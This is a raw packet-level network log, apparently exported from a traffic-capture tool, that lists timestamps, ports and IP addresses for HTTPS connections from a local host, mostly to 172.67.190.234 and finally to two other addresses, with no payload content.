Dec 29, 2024 14:15:48.514626980 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.518388987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.518421888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.518455982 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.518467903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.518493891 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.518512011 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.521343946 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.521367073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.521648884 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.521648884 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.521661997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.521708012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.525239944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.525266886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.525314093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.525325060 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.525351048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.525368929 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.528461933 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.528495073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.528575897 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.528575897 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.528588057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.528649092 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.705846071 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.705873013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.706099033 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.706115961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.706166983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.708971024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.708987951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.709050894 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.709057093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.709101915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.712145090 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.712161064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.712232113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.712238073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.712285042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.716128111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.716145039 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.716232061 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.716237068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.716286898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.719244003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.719264030 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.719329119 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.719333887 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.719378948 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.722946882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.722965002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.723032951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.723038912 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.723084927 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.726881981 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.726903915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.726985931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.726990938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.727031946 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.730038881 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.730056047 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.730114937 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.730120897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.730170965 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.906847954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.906873941 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.906934977 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.906953096 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.906965017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.907000065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.909955025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.909971952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.910024881 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.910031080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.910072088 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.913873911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.913888931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.914016008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.914016008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.914021969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.914068937 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.917066097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.917082071 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.917143106 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.917148113 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.917187929 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.920989990 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.921005011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.921057940 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.921063900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.921104908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.924663067 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.924678087 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.924717903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.924722910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.924750090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.924772024 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.927896023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.927911997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.927988052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.927993059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.928035975 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.931719065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.931739092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.931785107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.931790113 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.931802988 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.931838036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.108326912 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.108351946 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.108571053 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.108580112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.108623028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.111449957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.111466885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.111531019 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.111536026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.111581087 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.115408897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.115423918 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.115483999 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.115488052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.115530968 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.118557930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.118572950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.118650913 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.118657112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.118704081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.122498989 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.122514009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.122584105 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.122587919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.122631073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.126141071 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.126157045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.126216888 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.126220942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.126266003 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.129359007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.129374027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.129434109 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.129440069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.129472017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.129484892 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.133260965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.133275032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.133333921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.133338928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.133383036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.310065031 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.310086966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.310210943 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.310218096 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.310259104 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.313247919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.313261986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.313319921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.313324928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.313517094 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.317145109 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.317159891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.317217112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.317224026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.317310095 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.320354939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.320370913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.320447922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.320452929 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.320550919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.324242115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.324259043 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.324316978 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.324322939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.324418068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.327187061 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.327208042 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.327259064 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.327263117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.327359915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.331079006 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.331098080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.331166983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.331172943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.331243038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.334306955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.334323883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.334367037 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.334372044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.334398985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.334414005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.511244059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.511271000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.511327982 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.511344910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.511358023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.511723042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.515103102 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.515129089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.515163898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.515176058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.515187979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.515208960 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.518325090 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.518351078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.518420935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.518434048 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.518445969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.519707918 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.522177935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.522203922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.522243023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.522253990 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.522274971 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.522289038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.525439978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.525464058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.525520086 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.525530100 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.525554895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.525568962 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.529052019 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.529076099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.529129028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.529140949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.529155016 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.529171944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.532264948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.532289028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.532330990 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.532351971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.532366991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.535727978 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.536092043 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.536115885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.536148071 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.536164045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.536184072 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.539736986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.712899923 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.712920904 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.713036060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.713063002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.713745117 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.716016054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.716031075 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.716098070 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.716106892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.718615055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.719975948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.719990969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.720047951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.720056057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.723119974 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.723140001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.723197937 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.723206997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.723217964 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.723244905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.727010012 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.727025032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.727087975 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.727097034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.727730036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.730751038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.730772018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.730804920 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.730813980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.730829954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.730846882 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.733942032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.733957052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.734055996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.734066010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.734102964 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.737811089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.737834930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.737890005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.737895966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.737920046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.737934113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.914334059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.914357901 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.914438009 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.914454937 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.914824963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.917413950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.917431116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.917507887 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.917515993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.917578936 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.921330929 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.921346903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.921401978 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.921408892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.921490908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.924516916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.924531937 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.924587965 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.924595118 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.924674988 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.928431988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.928447962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.928519011 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.928527117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.928595066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.932081938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.932100058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.932174921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.932185888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.932375908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.935287952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.935326099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.935353041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.935359001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.935383081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.935396910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:49.935523987 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:49.938790083 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:16:02.081434011 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:02.081494093 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:02.081602097 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:02.081775904 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:02.081793070 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:03.766175032 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:03.806819916 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:03.806853056 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:03.808355093 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:03.808454037 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:03.818739891 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:03.818906069 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:03.860933065 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:03.860955000 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:03.902156115 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:13.457459927 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:13.457542896 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:13.457808971 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:13.665505886 CET	49937	443	192.168.2.5	172.217.21.36
Dec 29, 2024 14:16:13.665540934 CET	443	49937	172.217.21.36	192.168.2.5
Dec 29, 2024 14:16:14.162316084 CET	50012	443	192.168.2.5	142.250.181.65
